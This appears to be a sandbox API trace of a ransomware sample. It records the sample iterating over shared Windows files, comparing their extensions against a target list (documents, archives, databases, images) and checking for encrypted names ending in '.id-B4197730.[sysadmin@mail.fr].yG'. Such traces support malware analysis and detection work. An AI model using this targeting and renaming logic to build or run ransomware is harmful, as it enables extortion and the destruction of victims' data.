	[0179.357] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0179.357] lstrlenW (lpString=".pdf") returned 4
	[0179.357] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0179.357] lstrlenW (lpString=".xls") returned 4
	[0179.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0179.358] lstrlenW (lpString=".xlsx") returned 5
	[0179.358] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0179.358] lstrlenW (lpString=".ppt") returned 4
	[0179.358] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0179.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.358] lstrlenW (lpString=".zip") returned 4
	[0179.358] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0179.358] lstrlenW (lpString=".rar") returned 4
	[0179.358] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0179.358] lstrlenW (lpString=".bz2") returned 4
	[0179.358] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0179.358] lstrlenW (lpString=".7z") returned 3
	[0179.358] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0179.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.358] lstrlenW (lpString=".dbf") returned 4
	[0179.358] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0179.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.358] lstrlenW (lpString=".1cd") returned 4
	[0179.358] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0179.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.358] lstrlenW (lpString=".jpg") returned 4
	[0179.358] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0179.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.358] lstrlenW (lpString=".doc") returned 4
	[0179.358] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0179.358] lstrlenW (lpString=".docx") returned 5
	[0179.359] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0179.359] lstrlenW (lpString=".pdf") returned 4
	[0179.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0179.359] lstrlenW (lpString=".xls") returned 4
	[0179.359] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0179.359] lstrlenW (lpString=".xlsx") returned 5
	[0179.359] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0179.359] lstrlenW (lpString=".ppt") returned 4
	[0179.359] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.359] lstrlenW (lpString=".zip") returned 4
	[0179.359] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0179.359] lstrlenW (lpString=".rar") returned 4
	[0179.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0179.359] lstrlenW (lpString=".bz2") returned 4
	[0179.359] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0179.359] lstrlenW (lpString=".7z") returned 3
	[0179.359] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.359] lstrlenW (lpString=".dbf") returned 4
	[0179.359] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.359] lstrlenW (lpString=".1cd") returned 4
	[0179.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0179.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.359] lstrlenW (lpString=".jpg") returned 4
	[0179.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0179.360] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0179.360] lstrlenW (lpString="Content.xml") returned 11
	[0179.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.361] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=27045) returned 1
	[0179.361] CloseHandle (hObject=0x350) returned 1
	[0179.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0179.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.361] lstrlenW (lpString=".doc") returned 4
	[0179.361] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0179.361] lstrlenW (lpString=".docx") returned 5
	[0179.361] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0179.361] lstrlenW (lpString=".pdf") returned 4
	[0179.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0179.362] lstrlenW (lpString=".xls") returned 4
	[0179.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0179.362] lstrlenW (lpString=".xlsx") returned 5
	[0179.362] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0179.362] lstrlenW (lpString=".ppt") returned 4
	[0179.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0179.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.362] lstrlenW (lpString=".zip") returned 4
	[0179.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0179.362] lstrlenW (lpString=".rar") returned 4
	[0179.362] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0179.362] lstrlenW (lpString=".bz2") returned 4
	[0179.362] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0179.362] lstrlenW (lpString=".7z") returned 3
	[0179.362] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0179.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.362] lstrlenW (lpString=".dbf") returned 4
	[0179.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0179.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.363] lstrlenW (lpString=".1cd") returned 4
	[0179.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0179.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.363] lstrlenW (lpString=".jpg") returned 4
	[0179.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0179.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.363] lstrlenW (lpString=".doc") returned 4
	[0179.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0179.363] lstrlenW (lpString=".docx") returned 5
	[0179.363] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0179.363] lstrlenW (lpString=".pdf") returned 4
	[0179.363] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0179.363] lstrlenW (lpString=".xls") returned 4
	[0179.363] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0179.363] lstrlenW (lpString=".xlsx") returned 5
	[0179.363] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0179.363] lstrlenW (lpString=".ppt") returned 4
	[0179.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0179.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.363] lstrlenW (lpString=".zip") returned 4
	[0179.363] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0179.363] lstrlenW (lpString=".rar") returned 4
	[0179.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0179.363] lstrlenW (lpString=".bz2") returned 4
	[0179.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0179.364] lstrlenW (lpString=".7z") returned 3
	[0179.364] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0179.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.364] lstrlenW (lpString=".dbf") returned 4
	[0179.364] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0179.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.364] lstrlenW (lpString=".1cd") returned 4
	[0179.364] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0179.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0179.364] lstrlenW (lpString=".jpg") returned 4
	[0179.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0179.364] Sleep (dwMilliseconds=0x64) 
	[0179.784] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0179.784] lstrlenW (lpString="ipscht.xml") returned 10
	[0179.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0181.710] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2436) returned 1
	[0181.710] CloseHandle (hObject=0x358) returned 1
	[0181.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20
	[0181.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.710] lstrlenW (lpString=".doc") returned 4
	[0181.710] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.710] lstrlenW (lpString=".docx") returned 5
	[0181.710] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0181.710] lstrlenW (lpString=".pdf") returned 4
	[0181.711] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.711] lstrlenW (lpString=".xls") returned 4
	[0181.711] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.711] lstrlenW (lpString=".xlsx") returned 5
	[0181.711] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0181.711] lstrlenW (lpString=".ppt") returned 4
	[0181.711] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.711] lstrlenW (lpString=".zip") returned 4
	[0181.711] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.711] lstrlenW (lpString=".rar") returned 4
	[0181.711] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.711] lstrlenW (lpString=".bz2") returned 4
	[0181.711] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.711] lstrlenW (lpString=".7z") returned 3
	[0181.711] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.711] lstrlenW (lpString=".dbf") returned 4
	[0181.711] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.711] lstrlenW (lpString=".1cd") returned 4
	[0181.711] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.711] lstrlenW (lpString=".jpg") returned 4
	[0181.711] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.712] lstrlenW (lpString=".doc") returned 4
	[0181.712] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.712] lstrlenW (lpString=".docx") returned 5
	[0181.712] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0181.712] lstrlenW (lpString=".pdf") returned 4
	[0181.712] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.712] lstrlenW (lpString=".xls") returned 4
	[0181.712] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.712] lstrlenW (lpString=".xlsx") returned 5
	[0181.712] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0181.712] lstrlenW (lpString=".ppt") returned 4
	[0181.712] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.712] lstrlenW (lpString=".zip") returned 4
	[0181.712] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.712] lstrlenW (lpString=".rar") returned 4
	[0181.712] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.712] lstrlenW (lpString=".bz2") returned 4
	[0181.712] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.712] lstrlenW (lpString=".7z") returned 3
	[0181.712] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.712] lstrlenW (lpString=".dbf") returned 4
	[0181.712] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.712] lstrlenW (lpString=".1cd") returned 4
	[0181.712] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0181.713] lstrlenW (lpString=".jpg") returned 4
	[0181.713] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.713] lstrcmpiW (lpString1=".htm", lpString2=".yG") returned -1
	[0181.713] lstrlenW (lpString="Garden.htm") returned 10
	[0181.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0181.970] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=231) returned 1
	[0181.970] CloseHandle (hObject=0x33c) returned 1
	[0181.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20
	[0181.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.971] lstrlenW (lpString=".doc") returned 4
	[0181.971] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0181.971] lstrlenW (lpString=".docx") returned 5
	[0181.971] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0181.971] lstrlenW (lpString=".pdf") returned 4
	[0181.971] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0181.971] lstrlenW (lpString=".xls") returned 4
	[0181.971] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0181.971] lstrlenW (lpString=".xlsx") returned 5
	[0181.971] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0181.971] lstrlenW (lpString=".ppt") returned 4
	[0181.971] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0181.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.971] lstrlenW (lpString=".zip") returned 4
	[0181.972] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0181.972] lstrlenW (lpString=".rar") returned 4
	[0181.972] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0181.972] lstrlenW (lpString=".bz2") returned 4
	[0181.972] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0181.972] lstrlenW (lpString=".7z") returned 3
	[0181.972] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0181.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.972] lstrlenW (lpString=".dbf") returned 4
	[0181.972] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0181.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.972] lstrlenW (lpString=".1cd") returned 4
	[0181.972] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0181.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.972] lstrlenW (lpString=".jpg") returned 4
	[0181.972] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0181.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.972] lstrlenW (lpString=".doc") returned 4
	[0181.972] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0181.972] lstrlenW (lpString=".docx") returned 5
	[0181.972] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0181.972] lstrlenW (lpString=".pdf") returned 4
	[0181.972] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0181.972] lstrlenW (lpString=".xls") returned 4
	[0181.972] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0181.972] lstrlenW (lpString=".xlsx") returned 5
	[0181.972] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0181.972] lstrlenW (lpString=".ppt") returned 4
	[0181.973] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0181.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.973] lstrlenW (lpString=".zip") returned 4
	[0181.973] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0181.973] lstrlenW (lpString=".rar") returned 4
	[0181.973] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0181.973] lstrlenW (lpString=".bz2") returned 4
	[0181.973] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0181.973] lstrlenW (lpString=".7z") returned 3
	[0181.973] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0181.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.973] lstrlenW (lpString=".dbf") returned 4
	[0181.973] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0181.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.973] lstrlenW (lpString=".1cd") returned 4
	[0181.973] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0181.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0181.973] lstrlenW (lpString=".jpg") returned 4
	[0181.973] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0181.973] lstrcmpiW (lpString1=".jpg", lpString2=".yG") returned -1
	[0181.973] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0181.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0182.313] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=6406) returned 1
	[0182.313] CloseHandle (hObject=0x374) returned 1
	[0182.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20
	[0182.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0182.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.314] lstrlenW (lpString=".doc") returned 4
	[0182.314] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0182.314] lstrlenW (lpString=".docx") returned 5
	[0182.314] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0182.314] lstrlenW (lpString=".pdf") returned 4
	[0182.314] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0182.314] lstrlenW (lpString=".xls") returned 4
	[0182.314] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0182.314] lstrlenW (lpString=".xlsx") returned 5
	[0182.314] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0182.314] lstrlenW (lpString=".ppt") returned 4
	[0182.314] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0182.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.314] lstrlenW (lpString=".zip") returned 4
	[0182.315] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0182.315] lstrlenW (lpString=".rar") returned 4
	[0182.315] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0182.315] lstrlenW (lpString=".bz2") returned 4
	[0182.315] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0182.315] lstrlenW (lpString=".7z") returned 3
	[0182.315] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0182.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.316] lstrlenW (lpString=".dbf") returned 4
	[0182.316] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0182.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.316] lstrlenW (lpString=".1cd") returned 4
	[0182.316] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0182.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.316] lstrlenW (lpString=".jpg") returned 4
	[0182.316] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0182.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.316] lstrlenW (lpString=".doc") returned 4
	[0182.316] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0182.316] lstrlenW (lpString=".docx") returned 5
	[0182.317] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0182.317] lstrlenW (lpString=".pdf") returned 4
	[0182.317] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0182.317] lstrlenW (lpString=".xls") returned 4
	[0182.317] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0182.317] lstrlenW (lpString=".xlsx") returned 5
	[0182.317] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0182.317] lstrlenW (lpString=".ppt") returned 4
	[0182.317] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0182.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.317] lstrlenW (lpString=".zip") returned 4
	[0182.317] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0182.317] lstrlenW (lpString=".rar") returned 4
	[0182.317] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0182.318] lstrlenW (lpString=".bz2") returned 4
	[0182.318] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0182.318] lstrlenW (lpString=".7z") returned 3
